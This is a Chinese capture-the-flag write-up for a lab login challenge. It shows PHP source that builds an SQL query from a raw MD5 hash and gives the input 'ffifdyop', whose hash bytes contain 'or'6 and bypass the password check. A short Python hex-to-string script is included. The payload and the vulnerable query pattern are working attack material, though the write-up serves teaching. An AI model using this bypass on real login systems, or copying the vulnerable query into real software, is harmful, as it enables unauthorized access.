实验吧 后台登录writeup

本文介绍了一种利用SQL注入和MD5加密漏洞获取后台权限的方法。通过构造特定Payload,绕过了MD5加密检查,成功登录并获取flag。文章详细解释了如何通过Python将十六进制转换为字符串,以便于理解绕过过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1)解题链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
在这里插入图片描述
2)php源码:

    <php?
    $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0)
    {
    			echo 'flag is :'.$flag;
    }
    else{
    echo '密码错误!';
    }
    ?>

3)考点:
3.1)SQL注入
3.2)注入点传入参数后通过MD5加密
3.3)字符串“ffifdyop”通过MD5加密后得到 276f722736c95d99e921722cf9ed621c
转换成字符串后得到

'or’6<trash>

可以成功绕过md5($password,true)最终获得SQL语句:

 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>';

3.4)因此Payload为:ffifdyop
!!PS:如何通过Python实现Hex转Str

root@localhost:~/Desktop# cat HexToStr.py 
    import binascii
    MD5 = '276f722736c95d99e921722cf9ed621c'
    print binascii.a2b_hex(MD5)
root@localhost:~/Desktop# python HexToStr.py 
'or'6�]��!r,��b

3.5)GetFlag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值